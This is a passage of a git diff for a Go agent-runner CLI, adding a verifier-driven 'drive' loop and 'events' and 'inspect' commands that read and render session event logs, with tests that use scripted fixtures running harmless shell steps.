"driver %s\n", driverID) + + exec := &tool.Executor{WS: ws, Session: driverID} + approvals := approvalResolver(opts.stderr) + // Verifier adjudication (S7 还债①): merged user/project rules bind + // first-match; the trailing allow is the DRIVER-TRUST layer — verifiers + // are spec-declared config (same trust level as spec permissions), so an + // unmatched verifier runs instead of hitting the interactive mode default. + verifierPipe, _, err := buildPipeline(ws, []pipeline.PermissionRule{{Action: "allow"}}, "", 0, opts.stderr) + if err != nil { + fmt.Fprintln(opts.stderr, err) + return ExitRun + } + d := &driver.Driver{ + Spec: spec, + Store: dStore, + Clock: clock.Real{}, + DriverID: driverID, + Exec: exec, + Judge: prov, + Approvals: approvals, + Artifacts: artifacts, + Pipeline: verifierPipe, + // Each iteration's child mirrors a plain `run`: same pipeline + // construction, same approval seam; the min-aggregated allowance + // clamps the frozen spec AND its budget gate. + NewChild: func(cs *store.EventStore, session string, iter, budgetTokens int) *agent.Loop { + frozen := *spec.Agent + if budgetTokens > 0 { + frozen.Budget.MaxTotalTokens = budgetTokens + } + pipe, hooks, perr := buildPipeline(ws, frozen.Permissions, frozen.Mode, + frozen.Budget.MaxTotalTokens, opts.stderr) + if perr != nil { + // Surfaced by the child run's immediate failure; the driver's + // on_child_failure policy decides what happens next. + fmt.Fprintln(opts.stderr, perr) + } + fmt.Fprintf(opts.stderr, "iteration %d (%s)\n", iter, session) + return &agent.Loop{ + Spec: &frozen, + Provider: prov, + Exec: &tool.Executor{WS: ws, Session: session}, + Store: cs, + Clock: clock.Real{}, + Out: opts.sink, + SessionID: session, + Version: opts.version, + Pipeline: pipe, + Mode: frozen.Mode, + Hooks: hooks, + Approvals: approvals, + SubSpecs: siblingSpecResolver(opts.specPath), + } + }, + } + + res, runErr := d.Run(ctx) + if runErr != nil { + fmt.Fprintf(opts.stderr, "drive failed: %v\n", runErr) + return ExitRun + } + fmt.Fprintf(opts.stderr, "driver %s: %d iterations (best %d)\n", + res.Reason, res.Iterations, res.BestIter) + if !driveSucceeded(spec, res.Reason) { + return ExitRun + } + return ExitOK +} + +// driveSucceeded maps a terminal reason to the exit code contract: goal mode +// succeeds only when satisfied; a bounded loop-mode series also ends +// normally at max_iterations. +func driveSucceeded(spec *driver.DriverSpec, reason string) bool { + if reason == "satisfied" { + return true + } + loopMode := spec.Schedule != "" && spec.Schedule != driver.ScheduleImmediate + return loopMode && reason == "max_iterations" +} diff --git a/internal/cli/drive_test.go b/internal/cli/drive_test.go new file mode 100644 index 0000000..5c8ad15 --- /dev/null +++ b/internal/cli/drive_test.go @@ -0,0 +1,149 @@ +package cli + +import ( + "bytes" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/provider/scripted" +) + +func writeDriverSpecs(t *testing.T, dir, driverYAML string) string { + t.Helper() + worker := `name: worker +model: { provider: scripted, id: x } +system_prompt: make progress +tools: [bash] +permissions: + - { action: allow } +` + if err := os.WriteFile(filepath.Join(dir, "worker.yaml"), []byte(worker), 0o644); err != nil { + t.Fatal(err) + } + path := filepath.Join(dir, "driver.yaml") + if err := os.WriteFile(path, []byte(driverYAML), 0o644); err != nil { + t.Fatal(err) + } + return path +} + +// drive: a goal-mode driver reaches satisfied through the CLI seam — the +// scripted provider is shared across iterations, so the fixture scripts the +// whole series in order. +func TestDriveGoalEndToEnd(t *testing.T) { + t.Setenv("XDG_DATA_HOME", t.TempDir()) + dir := t.TempDir() + ws := t.TempDir() + specPath := writeDriverSpecs(t, dir, `name: fill-progress +agent_spec: worker.yaml +task: add a line +max_iterations: 3 +verifiers: + - { kind: command, command: "test $(wc -l < progress.txt) -ge 2" } +`) + + fix := scripted.Fixture{Steps: []scripted.Step{ + // iteration 1 + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{Name: "bash", + Args: map[string]any{"command": "echo tick >> progress.txt"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "one line in"}, {Finish: "end_turn"}}}, + // iteration 2 + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{Name: "bash", + Args: map[string]any{"command": "echo tick >> progress.txt"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "two lines in"}, {Finish: "end_turn"}}}, + }} + + var out, errOut bytes.Buffer + code := driveAgent(driveOptions{ + specPath: specPath, + workspace: ws, + factory: scriptedFactory(fix), + stdout: &out, + stderr: &errOut, + }) + if code != ExitOK { + t.Fatalf("exit = %d\nstderr: %s", code, errOut.String()) + } + if !strings.Contains(errOut.String(), "driver satisfied: 2 iterations") { + t.Errorf("stderr = %q, want the satisfied summary", errOut.String()) + } + raw, err := os.ReadFile(filepath.Join(ws, "progress.txt")) + if err != nil || strings.Count(string(raw), "tick") != 2 { + t.Errorf("progress.txt = %q, err %v", raw, err) + } +} + +// drive: a goal that never verifies exits nonzero (max_iterations is not +// success in goal mode). +func TestDriveGoalUnsatisfiedExitsNonzero(t *testing.T) { + t.Setenv("XDG_DATA_HOME", t.TempDir()) + dir := t.TempDir() + specPath := writeDriverSpecs(t, dir, `name: never +agent_spec: worker.yaml +task: try +max_iterations: 1 +verifiers: + - { kind: command, command: "false" } +`) + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "tried"}, {Finish: "end_turn"}}}, + }} + var out, errOut bytes.Buffer + code := driveAgent(driveOptions{ + specPath: specPath, workspace: t.TempDir(), + factory: scriptedFactory(fix), stdout: &out, stderr: &errOut, + }) + if code != ExitRun { + t.Fatalf("exit = %d, want %d (goal not reached)\nstderr: %s", code, ExitRun, errOut.String()) + } +} + +// drive: a bounded loop-mode series ending at max_iterations exits zero. +func TestDriveLoopBoundedSeriesExitsZero(t *testing.T) { + t.Setenv("XDG_DATA_HOME", t.TempDir()) + dir := t.TempDir() + specPath := writeDriverSpecs(t, dir, `name: rounds +agent_spec: worker.yaml +schedule: interval +task: do a round +max_iterations: 2 +`) + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "round 1"}, {Finish: "end_turn"}}}, + {Respond: []scripted.Event{{Text: "round 2"}, {Finish: "end_turn"}}}, + }} + var out, errOut bytes.Buffer + code := driveAgent(driveOptions{ + specPath: specPath, workspace: t.TempDir(), + factory: scriptedFactory(fix), stdout: &out, stderr: &errOut, + }) + if code != ExitOK { + t.Fatalf("exit = %d\nstderr: %s", code, errOut.String()) + } +} + +// drive: spec errors are usage errors. +func TestDriveSpecErrors(t *testing.T) { + t.Setenv("XDG_DATA_HOME", t.TempDir()) + dir := t.TempDir() + path := filepath.Join(dir, "bad.yaml") + if err := os.WriteFile(path, []byte("name: x\ntask: t\n"), 0o644); err != nil { + t.Fatal(err) + } + var out, errOut bytes.Buffer + code := driveAgent(driveOptions{ + specPath: path, workspace: t.TempDir(), + factory: scriptedFactory(scripted.Fixture{}), stdout: &out, stderr: &errOut, + }) + if code != ExitUsage || !strings.Contains(errOut.String(), "agent_spec") { + t.Fatalf("exit = %d, stderr = %q — want usage error naming agent_spec", code, errOut.String()) + } +} diff --git a/internal/cli/events.go b/internal/cli/events.go new file mode 100644 index 0000000..5522154 --- /dev/null +++ b/internal/cli/events.go @@ -0,0 +1,130 @@ +package cli + +import ( + "bytes" + "encoding/json" + "flag" + "fmt" + "io" + "os" + "path/filepath" + "sort" + "strings" + + "github.com/ralphite/agentrunner/internal/runtime" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" +) + +// eventsCmd implements `agentrunner events [--state] [--json]`: +// the debug window into a session's event log and its fold. +func eventsCmd(args []string, stdout, stderr io.Writer) int { + fs := flag.NewFlagSet("events", flag.ContinueOnError) + fs.SetOutput(stderr) + dumpState := fs.Bool("state", false, "print the folded state instead of the event list") + asJSON := fs.Bool("json", false, "raw JSONL output (with --state: indented state JSON)") + // All events flags are bool, so flags-after-positional can be supported + // by partitioning before Parse (stdlib flag stops at the first non-flag). + var flagArgs, positional []string + for _, a := range args { + if strings.HasPrefix(a, "-") { + flagArgs = append(flagArgs, a) + } else { + positional = append(positional, a) + } + } + if err := fs.Parse(append(flagArgs, positional...)); err != nil { + return ExitUsage + } + if fs.NArg() != 1 { + fmt.Fprintln(stderr, "usage: agentrunner events [--state] [--json]") + return ExitUsage + } + + dir, err := resolveSessionDir(fs.Arg(0)) + if err != nil { + fmt.Fprintf(stderr, "agentrunner: %v\n", err) + return ExitUsage + } + events, err := store.ReadEvents(dir) + if err != nil { + fmt.Fprintf(stderr, "agentrunner: %v\n", err) + return ExitRun + } + + if *dumpState { + s, err := state.Fold(events) + if err != nil { + fmt.Fprintf(stderr, "agentrunner: fold: %v\n", err) + return ExitRun + } + raw, err := json.MarshalIndent(s, "", " ") + if err != nil { + fmt.Fprintf(stderr, "agentrunner: %v\n", err) + return ExitRun + } + fmt.Fprintln(stdout, string(raw)) + return ExitOK + } + + for _, e := range events { + if *asJSON { + raw, err := json.Marshal(e) + if err != nil { + fmt.Fprintf(stderr, "agentrunner: %v\n", err) + return ExitRun + } + fmt.Fprintln(stdout, string(raw)) + continue + } + fmt.Fprintf(stdout, "%5d %s %-20s %s\n", + e.Seq, e.TS.Format("15:04:05.000"), e.Type, compactPayload(e.Payload, 100)) + } + return ExitOK +} + +func compactPayload(raw json.RawMessage, max int) string { + var buf bytes.Buffer + if err := json.Compact(&buf, raw); err != nil { + return string(raw) + } + s := buf.String() + if len(s) > max { + return s[:max] + "…" + } + return s +} + +// resolveSessionDir maps a session id or unique prefix to its directory. +func resolveSessionDir(idOrPrefix string) (string, error) { + data, err := runtime.DataDir() + if err != nil { + return "", err + } + root := filepath.Join(data, "sessions") + entries, err := os.ReadDir(root) + if err != nil { + return "", fmt.Errorf("no sessions found (%v)", err) + } + var matches []string + for _, e := range entries { + if !e.IsDir() { + continue + } + if e.Name() == idOrPrefix { + return filepath.Join(root, e.Name()), nil + } + if strings.HasPrefix(e.Name(), idOrPrefix) { + matches = append(matches, e.Name()) + } + } + switch len(matches) { + case 0: + return "", fmt.Errorf("no session matches %q", idOrPrefix) + case 1: + return filepath.Join(root, matches[0]), nil + default: + sort.Strings(matches) + return "", fmt.Errorf("session prefix %q is ambiguous: %s", idOrPrefix, strings.Join(matches, ", ")) + } +} diff --git a/internal/cli/events_test.go b/internal/cli/events_test.go new file mode 100644 index 0000000..58b37f6 --- /dev/null +++ b/internal/cli/events_test.go @@ -0,0 +1,127 @@ +package cli + +import ( + "bytes" + "encoding/json" + "path/filepath" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/runtime" + "github.com/ralphite/agentrunner/internal/store" +) + +// seedSession writes a small event log under a fake XDG data dir. +func seedSession(t *testing.T, id string) { + t.Helper() + dir := filepath.Join(t.TempDir(), "data") + t.Setenv("XDG_DATA_HOME", dir) + seedSessionIn(t, id) +} + +func seedSessionIn(t *testing.T, id string) { + t.Helper() + sess := filepath.Join(mustDataDir(t), "sessions", id) + s, err := store.OpenEventStore(sess) + if err != nil { + t.Fatal(err) + } + defer func() { _ = s.Close() }() + for _, pair := range []struct { + typ string + payload any + }{ + {event.TypeRunStarted, &event.RunStarted{SpecName: "hello", Model: "m", Task: "t", Version: "dev"}}, + {event.TypeTurnStarted, &event.TurnStarted{Turn: 1}}, + {event.TypeRunEnded, &event.RunEnded{Reason: "completed", Turns: 1}}, + } { + env, err := event.New(pair.typ, pair.payload) + if err != nil { + t.Fatal(err) + } + if _, err := s.Append(env); err != nil { + t.Fatal(err) + } + } +} + +func mustDataDir(t *testing.T) string { + t.Helper() + dir, err := runtime.DataDir() + if err != nil { + t.Fatal(err) + } + return dir +} + +func TestEventsPrettyPrint(t *testing.T) { + seedSession(t, "20260703-010203-fix-abcd") + var out, errOut bytes.Buffer + code := Run([]string{"events", "20260703-010203-fix-abcd"}, "dev", &out, &errOut) + if code != ExitOK { + t.Fatalf("exit = %d, stderr = %s", code, errOut.String()) + } + text := out.String() + for _, want := range []string{"run_started", "turn_started", "run_ended", `"spec_name":"hello"`} { + if !strings.Contains(text, want) { + t.Errorf("output missing %q:\n%s", want, text) + } + } +} + +func TestEventsUniquePrefixAndState(t *testing.T) { + seedSession(t, "20260703-010203-fix-abcd") + var out, errOut bytes.Buffer + code := Run([]string{"events", "20260703", "--state"}, "dev", &out, &errOut) + if code != ExitOK { + t.Fatalf("exit = %d, stderr = %s", code, errOut.String()) + } + var folded struct { + Run struct { + Status string `json:"status"` + Reason string `json:"reason"` + } `json:"run"` + } + if err := json.Unmarshal(out.Bytes(), &folded); err != nil { + t.Fatalf("--state output not JSON: %v\n%s", err, out.String()) + } + if folded.Run.Status != "ended" || folded.Run.Reason != "completed" { + t.Errorf("folded run = %+v", folded.Run) + } +} + +func TestEventsJSONMode(t *testing.T) { + seedSession(t, "20260703-010203-fix-abcd") + var out, errOut bytes.Buffer + if code := Run([]string{"events", "20260703", "--json"}, "dev", &out, &errOut); code != ExitOK { + t.Fatalf("exit = %d, stderr = %s", code, errOut.String()) + } + lines := strings.Split(strings.TrimSpace(out.String()), "\n") + if len(lines) != 3 { + t.Fatalf("lines = %d, want 3", len(lines)) + } + var env event.Envelope + if err := json.Unmarshal([]byte(lines[0]), &env); err != nil || env.Seq != 1 { + t.Errorf("line 0: %v %+v", err, env) + } +} + +func TestEventsAmbiguousPrefix(t *testing.T) { + seedSession(t, "20260703-010203-fix-abcd") + seedSessionIn(t, "20260703-020304-other-ef01") + var out, errOut bytes.Buffer + code := Run([]string{"events", "20260703"}, "dev", &out, &errOut) + if code != ExitUsage || !strings.Contains(errOut.String(), "ambiguous") { + t.Fatalf("exit = %d, stderr = %s", code, errOut.String()) + } +} + +func TestEventsUnknownSession(t *testing.T) { + seedSession(t, "20260703-010203-fix-abcd") + var out, errOut bytes.Buffer + code := Run([]string{"events", "nope"}, "dev", &out, &errOut) + if code != ExitUsage || !strings.Contains(errOut.String(), "no session matches") { + t.Fatalf("exit = %d, stderr = %s", code, errOut.String()) + } +} diff --git a/internal/cli/inspect.go b/internal/cli/inspect.go new file mode 100644 index 0000000..e0417ff --- /dev/null +++ b/internal/cli/inspect.go @@ -0,0 +1,348 @@ +package cli + +import ( + "encoding/json" + "flag" + "fmt" + "io" + "path/filepath" + "strings" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" +) + +// inspectCmd implements `agentrunner inspect [--json]` (S4.8): a +// per-turn timeline with each call's adjudication verdict and token/cache +// columns, read from the event log and its fold. Where `events` dumps the +// raw log, `inspect` renders the run the way a human reasons about it. +func inspectCmd(args []string, stdout, stderr io.Writer) int { + fs := flag.NewFlagSet("inspect", flag.ContinueOnError) + fs.SetOutput(stderr) + asJSON := fs.Bool("json", false, "emit the report as JSON") + var flagArgs, positional []string + for _, a := range args { + if strings.HasPrefix(a, "-") { + flagArgs = append(flagArgs, a) + } else { + positional = append(positional, a) + } + } + if err := fs.Parse(append(flagArgs, positional...)); err != nil { + return ExitUsage + } + if fs.NArg() != 1 { + fmt.Fprintln(stderr, "usage: agentrunner inspect [--json]") + return ExitUsage + } + + dir, err := resolveSessionDir(fs.Arg(0)) + if err != nil { + fmt.Fprintf(stderr, "agentrunner: %v\n", err) + return ExitUsage + } + report, err := buildInspectTree(dir) + if err != nil { + fmt.Fprintf(stderr, "agentrunner: %v\n", err) + return ExitRun + } + if *asJSON { + raw, err := json.MarshalIndent(report, "", " ") + if err != nil { + fmt.Fprintf(stderr, "agentrunner: %v\n", err) + return ExitRun + } + fmt.Fprintln(stdout, string(raw)) + return ExitOK + } + renderInspect(stdout, report) + return ExitOK +} + +// inspectReport is the structured `inspect` output (also the --json shape). +// Children are the sub-agent runs (S5.9), recursively — the tree render. +type inspectReport struct { + Spec string `json:"spec"` + Model string `json:"model"` + Mode string `json:"mode"` + Status string `json:"status"` + Reason string `json:"reason,omitempty"` + Turns int `json:"turns"` + Entries []entryReport `json:"entries"` + Usage usageReport `json:"usage"` + Artifacts []artifactReport `json:"artifacts,omitempty"` + Children []childReportRef `json:"children,omitempty"` +} + +// artifactReport is one published deliverable version (S5.9 column). +type artifactReport struct { + Stream string `json:"stream"` + Version int `json:"version"` + Ref string `json:"ref"` + Source string `json:"source,omitempty"` +} + +// childReportRef ties a spawn call to the child run's own report. +type childReportRef struct { + CallID string `json:"call_id"` + Agent string `json:"agent"` + Session string `json:"session"` + Reason string `json:"reason"` + Report inspectReport `json:"report"` +} + +type entryReport struct { + Turn int `json:"turn"` + Kind string `json:"kind"` // llm | compact | tool + Name string `json:"name"` + CallID string `json:"call_id,omitempty"` + Verdict string `json:"verdict,omitempty"` + Gate string `json:"gate,omitempty"` + InputTokens int `json:"input_tokens,omitempty"` + OutputTokens int `json:"output_tokens,omitempty"` + CacheRead int `json:"cache_read,omitempty"` +} + +type usageReport struct { + InputTokens int `json:"input_tokens"` + OutputTokens int `json:"output_tokens"` + CacheRead int `json:"cache_read"` + CacheWrite int `json:"cache_write"` + Billed int `json:"billed"` + BudgetLimit int `json:"budget_limit,omitempty"` + BudgetReserved int `json:"budget_reserved,omitempty"` +} + +// verdictInfo is one effect's adjudication outcome, keyed for lookup. +type verdictInfo struct { + verdict string + gate string +} + +// buildInspectTree builds a session's report and recurses into its child +// runs (S5.9): each SubagentCompleted names a child whose journal lives +// under /sub/; the tree render opens each child once, recursively. +func buildInspectTree(dir string) (inspectReport, error) { + events, err := store.ReadEvents(dir) + if err != nil { + return inspectReport{}, err + } + s, err := state.Fold(events) + if err != nil { + return inspectReport{}, fmt.Errorf("fold: %w", err) + } + report := buildInspectReport(events, s) + for _, e := range events { + switch e.Type { + case event.TypeArtifactPublished: + if dec, derr := event.DecodePayload(e); derr == nil { + p := dec.(*event.ArtifactPublished) + report.Artifacts = append(report.Artifacts, artifactReport{ + Stream: p.Stream, Version: p.Version, Ref: p.Ref, Source: p.Source, + }) + } + case event.TypeSubagentCompleted: + dec, derr := event.DecodePayload(e) + if derr != nil { + continue + } + sub := dec.(*event.SubagentCompleted) + childDir := childDirFor(dir, sub) + if childDir == "" { + continue + } + childReport, cerr := buildInspectTree(childDir) + if cerr != nil { + continue // a broken child journal must not sink the parent's view + } + report.Children = append(report.Children, childReportRef{ + CallID: sub.CallID, Agent: sub.Agent, Session: sub.ChildSession, + Reason: sub.Reason, Report: childReport, + }) + } + } + return report, nil +} + +// childDirFor maps a SubagentCompleted to its journal dir: the child +// session suffix "-a" names /sub/-a. +func childDirFor(dir string, sub *event.SubagentCompleted) string { + i := strings.LastIndex(sub.ChildSession, "-a") + if i < 0 { + return "" + } + return filepath.Join(dir, "sub", sub.CallID+sub.ChildSession[i:]) +} + +func buildInspectReport(events []event.Envelope, s state.State) inspectReport { + // Pass 1: index each effect's resolution by call id (tools) and effect id + // (llm effects have no call id). + byCall := map[string]verdictInfo{} + byEffect := map[string]verdictInfo{} + for _, e := range events { + if e.Type != event.TypeEffectResolved { + continue + } + dec, err := event.DecodePayload(e) + if err != nil { + continue + } + r := dec.(*event.EffectResolved) + info := verdictInfo{verdict: r.Verdict, gate: decidingGate(r.GateResults, r.Verdict)} + if r.CallID != "" { + byCall[r.CallID] = info + } + byEffect[r.EffectID] = info + } + + // Pass 2: walk activity completions into per-turn timeline entries. + report := inspectReport{ + Spec: s.Run.SpecName, + Model: s.Run.Model, + Mode: s.CurrentMode(), + Status: s.Run.Status, + Reason: s.Run.Reason, + Turns: s.Run.Turn, + } + // ActivityCompleted carries no name/call id — those live on the matching + // ActivityStarted; index them as we walk. + started := map[string]*event.ActivityStarted{} + curTurn := 0 + for _, e := range events { + switch e.Type { + case event.TypeTurnStarted: + if dec, err := event.DecodePayload(e); err == nil { + curTurn = dec.(*event.TurnStarted).Turn + } + case event.TypeActivityStarted: + if dec, err := event.DecodePayload(e); err == nil { + a := dec.(*event.ActivityStarted) + started[a.ActivityID] = a + } + case event.TypeActivityCompleted: + dec, err := event.DecodePayload(e) + if err != nil { + continue + } + a := dec.(*event.ActivityCompleted) + report.Entries = append(report.Entries, activityEntry(curTurn, a, started[a.ActivityID], byCall, byEffect)) + } + } + + report.Usage = usageReport{ + InputTokens: s.Run.Usage.InputTokens, + OutputTokens: s.Run.Usage.OutputTokens, + CacheRead: s.Run.Usage.CacheReadTokens, + CacheWrite: s.Run.Usage.CacheWriteTokens, + Billed: s.Run.Usage.Billed(), + BudgetReserved: s.Budget.ReservedTotal(), + } + return report +} + +func activityEntry(turn int, a *event.ActivityCompleted, started *event.ActivityStarted, byCall, byEffect map[string]verdictInfo) entryReport { + var callID, name string + if started != nil { + callID, name = started.CallID, started.Name + } + e := entryReport{Turn: turn, CallID: callID} + switch { + case strings.HasPrefix(a.ActivityID, "llm-t"): + e.Kind, e.Name = "llm", "complete" + if v, ok := byEffect[llmEffectID(a.ActivityID)]; ok { + e.Verdict, e.Gate = v.verdict, v.gate + } + case strings.HasPrefix(a.ActivityID, "compact-t"): + e.Kind, e.Name = "compact", "summarize" + default: + e.Kind, e.Name = "tool", name + if v, ok := byCall[callID]; ok { + e.Verdict, e.Gate = v.verdict, v.gate + } + } + if a.Usage != nil { + e.InputTokens = a.Usage.InputTokens + e.OutputTokens = a.Usage.OutputTokens + e.CacheRead = a.Usage.CacheReadTokens + } + return e +} + +// llmEffectID maps an llm activity id (llm-t) to its effect id +// (eff-llm-t), the namespacing the loop uses. +func llmEffectID(activityID string) string { + return "eff-" + activityID +} + +// decidingGate names the gate that produced the verdict (the denier on a +// deny, otherwise the last gate that ruled), with its reason. +func decidingGate(results []event.GateResult, verdict string) string { + var chosen *event.GateResult + for i := range results { + r := results[i] + if verdict == event.VerdictDeny && r.Decision == event.VerdictDeny { + chosen = &results[i] + break + } + chosen = &results[i] + } + if chosen == nil { + return "" + } + if chosen.Reason != "" { + return fmt.Sprintf("%s: %s", chosen.Gate, chosen.Reason) + } + return chosen.Gate +} + +func renderInspect(w io.Writer, r inspectReport) { + renderInspectIndent(w, r, "") +} + +func renderInspectIndent(w io.Writer, r inspectReport, pad string) { + fmt.Fprintf(w, "%sspec %s model %s mode %s\n", pad, r.Spec, r.Model, r.Mode) + status := r.Status + if r.Reason != "" { + status += " (" + r.Reason + ")" + } + fmt.Fprintf(w, "%sstatus %s turns %d\n\n", pad, status, r.Turns) + + fmt.Fprintln(w, pad+"TIMELINE") + lastTurn := -1 + for _, e := range r.Entries { + if e.Turn != lastTurn { + fmt.Fprintf(w, "%s turn %d\n", pad, e.Turn) + lastTurn = e.Turn + } + verdict := e.Verdict + if e.Gate != "" { + verdict = fmt.Sprintf("%s [%s]", e.Verdict, e.Gate) + } + toks := "" + if e.InputTokens > 0 || e.OutputTokens > 0 { + toks = fmt.Sprintf("in %d out %d cache_r %d", e.InputTokens, e.OutputTokens, e.CacheRead) + } + fmt.Fprintf(w, "%s %-8s %-12s %-10s %-24s %s\n", pad, e.Kind, e.Name, e.CallID, verdict, toks) + } + + if len(r.Artifacts) > 0 { + fmt.Fprintln(w, "\n"+pad+"ARTIFACTS") + for _, a := range r.Artifacts { + fmt.Fprintf(w, "%s %s@v%d %s (%s)\n", pad, a.Stream, a.Version, a.Ref, a.Source) + } + } + + u := r.Usage + fmt.Fprintf(w, "\n%sUSAGE input %d output %d cache_read %d cache_write %d billed %d\n", + pad, u.InputTokens, u.OutputTokens, u.CacheRead, u.CacheWrite, u.Billed) + if u.BudgetReserved > 0 { + fmt.Fprintf(w, "%s reserved %d\n", pad, u.BudgetReserved) + } + + // The agent tree (S5.9): each child run renders recursively, indented. + for _, c := range r.Children { + fmt.Fprintf(w, "\n%sCHILD %s → %s [%s] (%s)\n", pad, c.CallID, c.Agent, c.Reason, c.Session) + renderInspectIndent(w, c.Report, pad+" ") + } +} diff --git a/internal/cli/inspect_test.go b/internal/cli/inspect_test.go new file mode 100644 index 0000000..10c5cb6 --- /dev/null +++ b/internal/cli/inspect_test.go @@ -0,0 +1,161 @@ +package cli + +import ( + "path/filepath" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" +) + +func mkEnv(t *testing.T, typ string, payload any) event.Envelope { + t.Helper() + env, err := event.New(typ, payload) + if err != nil { + t.Fatal(err) + } + return env +} + +// The inspect report groups activities by turn, attaches each call's verdict +// and deciding gate, and totals token/cache usage from the fold. +func TestBuildInspectReport(t *testing.T) { + events := []event.Envelope{ + mkEnv(t, event.TypeRunStarted, &event.RunStarted{ + SpecName: "demo", Model: "gemini-x", SubStateVersions: state.SubStateVersions()}), + mkEnv(t, event.TypeInputReceived, &event.InputReceived{Text: "go", Source: "cli"}), + mkEnv(t, event.TypeTurnStarted, &event.TurnStarted{Turn: 1}), + // LLM call resolved allow, with usage. + mkEnv(t, event.TypeEffectResolved, &event.EffectResolved{ + EffectID: "eff-llm-t1", Verdict: event.VerdictAllow, + GateResults: []event.GateResult{{Gate: "budget", Decision: event.VerdictAllow}}}), + mkEnv(t, event.TypeActivityStarted, &event.ActivityStarted{ + ActivityID: "llm-t1", Kind: event.KindLLM, Name: "complete", Attempt: 1}), + mkEnv(t, event.TypeActivityCompleted, &event.ActivityCompleted{ + ActivityID: "llm-t1", Usage: &provider.Usage{InputTokens: 500, OutputTokens: 40, CacheReadTokens: 100}}), + // A denied tool call. + mkEnv(t, event.TypeEffectResolved, &event.EffectResolved{ + EffectID: "eff-tool-c1", CallID: "c1", Verdict: event.VerdictDeny, + GateResults: []event.GateResult{{Gate: "permission", Decision: event.VerdictDeny, Reason: "escapes workspace"}}}), + mkEnv(t, event.TypeActivityStarted, &event.ActivityStarted{ + ActivityID: "tool-c1", Kind: event.KindTool, Name: "read_file", CallID: "c1", Attempt: 1}), + mkEnv(t, event.TypeActivityCompleted, &event.ActivityCompleted{ + ActivityID: "tool-c1", IsError: true}), + mkEnv(t, event.TypeRunEnded, &event.RunEnded{Reason: "completed", Turns: 1}), + } + s, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + r := buildInspectReport(events, s) + + if r.Spec != "demo" || r.Model != "gemini-x" || r.Status != state.StatusEnded { + t.Fatalf("meta = %+v", r) + } + if len(r.Entries) != 2 { + t.Fatalf("entries = %d, want 2: %+v", len(r.Entries), r.Entries) + } + llm := r.Entries[0] + if llm.Kind != "llm" || llm.Verdict != event.VerdictAllow || llm.InputTokens != 500 || llm.CacheRead != 100 { + t.Errorf("llm entry = %+v", llm) + } + tool := r.Entries[1] + if tool.Kind != "tool" || tool.Name != "read_file" || tool.CallID != "c1" || + tool.Verdict != event.VerdictDeny || !strings.Contains(tool.Gate, "permission") { + t.Errorf("tool entry = %+v", tool) + } + // Usage totals + billed = input+output-cache_read. + if r.Usage.InputTokens != 500 || r.Usage.CacheRead != 100 || r.Usage.Billed != 440 { + t.Errorf("usage = %+v", r.Usage) + } +} + +// S5.9: the tree report recurses into child journals under sub/, and the +// artifacts section lists published versions. +func TestBuildInspectTree(t *testing.T) { + dir := t.TempDir() + write := func(sub string, evs []event.Envelope) { + t.Helper() + d := dir + if sub != "" { + d = filepath.Join(dir, "sub", sub) + } + es, err := store.OpenEventStore(d) + if err != nil { + t.Fatal(err) + } + defer func() { _ = es.Close() }() + for _, e := range evs { + if _, err := es.Append(e); err != nil { + t.Fatal(err) + } + } + } + // Parent journal: a spawn (SubagentCompleted names the child session) + // and an artifact. + write("", []event.Envelope{ + mkEnv(t, event.TypeRunStarted, &event.RunStarted{SpecName: "lead", + SubStateVersions: state.SubStateVersions()}), + mkEnv(t, event.TypeArtifactPublished, &event.ArtifactPublished{ + Stream: "report", Version: 1, Ref: "sha256-abc", Source: "tool"}), + mkEnv(t, event.TypeSubagentCompleted, &event.SubagentCompleted{ + CallID: "s1", Agent: "researcher", ChildSession: "lead-sub-s1-a1", + Reason: "completed", Turns: 2}), + mkEnv(t, event.TypeRunEnded, &event.RunEnded{Reason: "completed", Turns: 3}), + }) + // Child journal under sub/s1-a1. + write("s1-a1", []event.Envelope{ + mkEnv(t, event.TypeRunStarted, &event.RunStarted{SpecName: "researcher", + SubStateVersions: state.SubStateVersions()}), + mkEnv(t, event.TypeRunEnded, &event.RunEnded{Reason: "completed", Turns: 2}), + }) + + report, err := buildInspectTree(dir) + if err != nil { + t.Fatal(err) + } + if report.Spec != "lead" || len(report.Children) != 1 { + t.Fatalf("report = spec %q, children %d", report.Spec, len(report.Children)) + } + child := report.Children[0] + if child.Agent != "researcher" || child.Report.Spec != "researcher" || + child.Report.Status != state.StatusEnded { + t.Errorf("child = %+v", child) + } + if len(report.Artifacts) != 1 || report.Artifacts[0].Stream != "report" { + t.Errorf("artifacts = %+v", report.Artifacts) + } + + // The render shows the nested tree and the artifact line. + var sb strings.Builder + renderInspect(&sb, report) + out := sb.String() + for _, want := range []string{"CHILD s1 → researcher", "researcher", "report@v1", "sha256-abc"} { + if !strings.Contains(out, want) { + t.Errorf("render missing %q:\n%s", want, out) + } + } +} + +// The human-readable render includes the timeline and usage line. +func TestRenderInspect(t *testing.T) { + r := inspectReport{ + Spec: "demo", Model: "m", Mode: "default", Status: "ended", Reason: "completed", Turns: 1, + Entries: []entryReport{ + {Turn: 1, Kind: "llm", Name: "complete", Verdict: "allow", InputTokens: 10, OutputTokens: 5}, + {Turn: 1, Kind: "tool", Name: "bash", CallID: "c1", Verdict: "allow", Gate: "permission"}, + }, + Usage: usageReport{InputTokens: 10, OutputTokens: 5, Billed: 15}, + } + var sb strings.Builder + renderInspect(&sb, r) + out := sb.String() + for _, want := range []string{"TIMELINE", "turn 1", "complete", "bash", "billed 15", "completed"} { + if !strings.Contains(out, want) { + t.Errorf("render missing %q:\n%s", want, out) + } + } +} diff --git 